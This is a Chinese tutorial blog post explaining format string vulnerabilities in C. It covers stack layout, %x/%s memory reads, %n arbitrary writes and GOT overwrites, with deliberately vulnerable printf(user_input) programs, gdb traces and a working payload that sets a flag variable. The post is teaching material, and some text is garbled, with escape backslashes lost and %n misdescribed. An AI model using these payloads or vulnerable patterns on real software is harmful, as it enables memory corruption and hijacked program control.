格式化字符串

这个图很重要

(A)基础知识——栈

栈 其实是一种数据结构,栈中的数据是先进后出(First In Last Out),常见的操作有两种:压栈(PUSH)和弹栈(POP),用于标识栈属性的也有两个:栈顶(TOP)和栈底(BASE)。PUSH:为栈增加一个元素。POP:从栈中取出一个元素。TOP:标识栈顶的位置,并且是动态变化的,每进行一次push操作,它会自增1,反之,每进行一次pop操作,它会自减1

BASE:标识栈底位置,它的位置是不会变动的。

接下来我们将介绍一个新的名词:栈帧。当函数被调用时,系统栈会为这个函数开辟一个新的栈帧,这个栈帧 中的内存空间被它所属的函数独占,当函数返回时,系统栈会弹出该函数所对应的栈帧。32位系统下提供了两个特殊的寄存器(ESP和EBP)识栈帧。

  • ESP:栈指针寄存器,存放一个指针,该指针指向栈顶。
  • EBP:基址指针寄存器,存放一个指针,该指针指向栈底。

CPU利用EBP(不是ESP)寄存器来访问栈内局部变量、参数、函数返回地址,程序运行过程中,ESP寄存器的值随时变化,如果以ESP的值为基 准对栈内的局部变量、参数、返回地址进行访问显然是不可能的,所以在进行函数调用时,先把用作基准的ESP的值保存到EBP,这样以后无论ESP如何变 化,都能够以EBP为基准访问到局部变量、参数以及返回地址。接下来将编译上述代码并进行调试,从而进一步了解函数调用以及参数传递的过程。

2.1 什么是格式化字符串?

printf ("The magic number is: %d", 1911);

试观察运行以上语句,会发现字符串"The magic number is: %d"中的格式符%d被参数(1911)替换,因此输出变成了“The magic number is: 1911”。 格式化字符串大致就是这么一回事啦。除了表示十进制数的%d,还有不少其他形式的格式符,一起来认识一下吧~

格式符含义含义(英)

  • %d十进制数(int)decimal值
  • %u无符号十进制数 (unsigned int)unsigned decimal值
  • %x十六进制数 (unsigned int)hexadecimal值
  • %s字符串 ((const) (unsigned) char *)string引用(指针)
  • %n
    %n符号以前输入的字符数量 (* int)number of bytes written so far引用(指针)
    (灵活运用hn,hhn等兄弟格式符来写入一个字,一个字节的内容)
  • %p - 指针 - 指针地址
  • 读:“printf("x"),程序就会以16进制输出栈上偏移位置为100的内存所存放的内容

( * %n的使用将在1.5节中做出说明)2.2 栈与格式化字符串格式化函数的行为由格式化字符串控制,printf函数从栈上取得参数。printf ("a has value %d, b has value %d, c is at address: %08x ",a, b, &c);

2.4 访问任意位置内存我们需要得到一段数据的内存地址,但我们无法修改代码,供我们使用的只有格式字符串。如果我们调用 printf(%s) 时没有指明内存地址, 那么目标地址就可以通过printf函数,在栈上的任意位置获取。printf函数维护一个初始栈指针,所以能够得到所有参数在栈中的位置观察: 格式字符串位于栈上. 如果我们可以把目标地址编码进格式字符串,那样目标地址也会存在于栈上,在接下来的例子里,格式字符串将保存在栈上的缓冲区中。

int main(int argc, char *argv[])

{

    char user_input[100];

    ... ... /* other variable definitions and statements */
    scanf("%s", user_input); /* getting a string from user */    printf(user_input); /* Vulnerable place */

    return 0;

}

如果我们让printf函数得到格式字符串中的目标内存地址 (该地址也存在于栈上), 我们就可以访问该地址.
printf ("x10x01x48x08 %x %x %x %x %s");

x10x01x48x08 是目标地址的四个字节, 在C语言中, x10 告诉编译器将一个16进制数0x10放于当前位置(占1字节)。如果去掉前缀x10就相当于两个ascii字符1和0了,这就不是我们所期望的结果了。%x 导致栈指针向格式字符串的方向移动(参考1.2节)下图解释了攻击方式,如果用户输入中包含了以下格式字符串
.png)
如图所示,我们使用四个%x来移动printf函数的栈指针到我们存储格式字符串的位置,一旦到了目标位置,我们使用%s来打印,它会打印位于地址0x10014808的内容,因为是将其作为字符串来处理,所以会一直打印到结束符为止。user_input数组到传给printf函数参数的地址之间的栈空间不是为了printf函数准备的。但是,因为程序本身存在格式字符串漏洞,所以printf会把这段内存当作传入的参数来匹配%x。最大的挑战就是想方设法找出printf函数栈指针(函数取参地址)到user_input数组的这一段距离是多少,这段距离决定了你需要在%s之前输入多少个%x。
2.5 在内存中写一个数字——%n%n: 该符号前输入的字符数量会被存储到对应的参数中去int i;
printf ("12345%n", &i);
数字5(%n前的字符数量)将会被写入i 中运用同样的方法在访问任意地址内存的时候,我们可以将一个数字写入指定的内存中。只要将上一小节(1.4)的%s替换成%n就能够覆盖0x10014808的内容。利用这个方法,攻击者可以做以下事情:重写程序标识控制访问权限重写栈或者函数等等的返回地址然而,写入的值是由%n之前的字符数量决定的。真的有办法能够写入任意数值么?用最古老的计数方式, 为了写1000,就填充1000个字符吧。为了防止过长的格式字符串,我们可以使用一个宽度指定的格式指示器。(比如(%0数字x)就会左填充预期数量的0符号)

(B)格式化字符串原理
什么是格式化字符串呢,print()、fprint()等*print()系列的函数可以按照一定的格式将数据进行输出

   结构:%[标志][输出最小宽度][.精度][长度]类型


 格式化字符串漏洞有关系的主要有以下几点:
 1、输出最小宽度:用十进制整数来表示输出的最少位数。若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。


 2、类型:
 - d 表示输出十进制整数*


 - s 从内存中读取字符串*


 - x 输出十六进制数*


 - n 输出十六进制数

 出现漏洞的情况:
      printf(str)——正常使用应该是:printf(“format”,str);
      因为没有输入format参数,所以可能导致在str中的故意构造的format参数被认为是调用format函数中给出的format





 对于格式化字符串来说,本质还是任意地址的读写,可以用来修改got、ret_addr去控制程序流程,还可以 多次利用格式串,把shellcode一个字节一个字节写到一个 w+x 的内存地址去,然后修改got跳过去执行。
 但是如果格式化字符串不在栈中呢?如果不在栈中,那么就不能通过 %*$ 这样的方式去定位,增大了利用难度,在看了phrack的文章,了解到了一种姿势:假如要把 sleep@got 修改成 system@got ,可以先利用格式串把sleep@got先写到当前ebp指向,然后再次利用,把这个改掉,因为都是在 got表中,所以只需要改最后两个字节(x86)。 这样的话就实现了 不在栈中格式串的利用了。

(C)攻击方式

(1)利用printf()函数的参数个数不固定——数组越界访问
正常程序:

#include <stdio.h>
int main(void)
{
int a=1,b=2,c=3;
char buf[]="test";
printf("%s %d %d %d
",buf,a,b,c);
return 0;
}

改过的程序:
printf("%s %d %d %d %x ",buf,a,b,c),编译后运行:

bingtangguan@ubuntu:~/Desktop/format$ gcc -z execstack -fno-stack-protector -o format1 format.c
format.c: In function ‘main’:
format.c:6:1: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
 printf("%s %d %d %d %x
",buf,a,b,c);
 ^
bingtangguan@ubuntu:~/Desktop/format$ ./format1
test 1 2 3 c30000
         这个C3000是参数压栈后面的一个地址的内容

.png)

(2)利用printf()来读取任意地址读取
刚刚那个情况可以利用的情况有限
现在我们要实现任意地址读取

#include <stdio.h>
int main(int argc, char *argv[])
{
    char str[200];
    fgets(str,200,stdin);
    printf(str);
    return 0;
}

gdb调试,单步运行完call 0x8048340 <fgets@plt>后输入:

AAAA%08x%08x%08x%08x%08x%08x(%08x的意义:最少输出8位,如果不够补0,超过就不管,x代表16进制

)然后我们执行到printf()函数,观察此时的栈区,特别注意一下0x41414141(这是我们str的开始):

>>> x/10x $sp
0xbfffef70: 0xbfffef88  0x000000c8  0xb7fc1c20  0xb7e25438
0xbfffef80: 0x08048210  0x00000001  0x41414141  0x78383025
0xbfffef90: 0x78383025  0x78383025
继续执行,看我们能获得什么,我们成功的读到了AAAA:


AAAA000000c8b7fc1c20b7e25438080482100000000141414141

PS:输出是从ebp+4开始进行读取的
可以用%s来获取指针指向的内存数据。那么我们就可以这么构造尝试去获取0x41414141地址上的数据:
x41x41x41x41%08x%08x%08x%08x%08x%s
可以用%s来获取指针指向的内存数据:
那么我们就可以这么构造尝试去获取0x41414141地址上的数据:
x41x41x41x41%08x%08x%08x%08x%08x%s

(3) 利用%n格式符写入数据
%n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址

#include <stdio.h>
main()
{
  int num=66666666;
  printf("Before: num = %d
", num);
  printf("%d%n
", num, &num);
  printf("After: num = %d
", num);
}
可以发现我们用%n成功修改了num的值:



bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
66666666
After: num = 8

现在我们已经知道可以用构造的格式化字符串去访问栈内的数据,并且可以利用%n向内存中写入值,那我们是不是可以修改某一个函数的返回地址从而控制 程序执行流程呢,到了这一步细心的同学可能已经发现了,%n的作用只是将前面打印的字符串长度写入到内存中,而我们想要写入的是一个地址,而且这个地址是 很大的。这时候我们就需要用到printf()函数的第三个特性来配合完成地址的写入。

(4)自定义打印字符串宽度
我们在上面的基础部分已经有提到关于打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。我们把上一段代码做一下修改并看一下效果:

#include <stdio.h>
main()
{
  int num=66666666;
  printf("Before: num = %d
", num);
  printf("%.100d%n
", num, &num);
  printf("After: num = %d
", num);
}
可以看到我们的num值被改为了100


bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
66666666
After: num = 100

看到这儿聪明的你肯定明白如何去覆盖一个地址了吧,比如说我们要把0x8048000这个地址写入内存,我们要做的就是把该地址对应的10进制134512640作为格式符控制宽度即可:

printf("%.134512640d%n
", num, &num);
printf("After: num = %x
", num);
可以看到,我们的num被成功修改为8048000


bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
中间的0省略...........
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666
After: num = 8048000

(D)实例
(1)

#include <stdio.h>
int main(void)
{ 
int flag = 0;
int *p = &flag; 
char a[100];
scanf("%s",a);
printf(a);
if(flag == 2000)
    {
            printf("good!!
");
    }
    return 0;
}

要想得到good——需要将flag地址的内容写为2000
首先可以确定的是:
flag的地址和a都在同一个栈帧中,间隔应该差的是100(0x64)
但是flag 的具体位置可能不一定——需要泄露(如果没有开ASRL和简单)
可以通过“打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0”和%n来将目的地址的值改成2000
反编译看看flag的位置:%ebp-0x10

80484ac:   c7 45 f0 00 00 00 00    movl   $0x0,-0x10(%ebp)
80484b3:   8d 45 f0                lea    -0x10(%ebp),%eax
80484b6:   89 45 f4                mov    %eax,-0xc(%ebp

通过前面介绍的泄露地址:
下面我们就可以直接运行程序,并输入%x,然后获取ESP+4地址内的值:

bingtangguan@ubuntu:~/Desktop/format$ ./test
%x
bffff024

那我们需要修改的地址就是:0xbffff024+0x64=0xbffff088

最后就是要在地址0xbffff088处写入2000: x88xf0xffxbf%10x%10x%10x%1966x%n
分析:2000很容易可以理解,但是为什么会把输入的x88xf0xffxbf作为%n的地址呢?
主要和栈有关:

 借用上面的图:因为整个printf没有format参数,当我们输入整个字符串的时候,目的地址在最高位置,当读到%n 的时候会将最高的地方的值作为%n的地址,所以会将2000写入这个位置
 (借用其他博客上的话:当printf的format string是一个用户可控的字符串时,如果其中包含有%d这样特殊意义的字符时,printf就会根据format string的指示,把堆栈中接下来的地址作为余下的参数解释,从而做出程序作者没有预期的行为。)

(E)参考文章
http://bobao.360.cn/learning/detail/695.html

原文地址:https://www.cnblogs.com/volva/p/11814945.html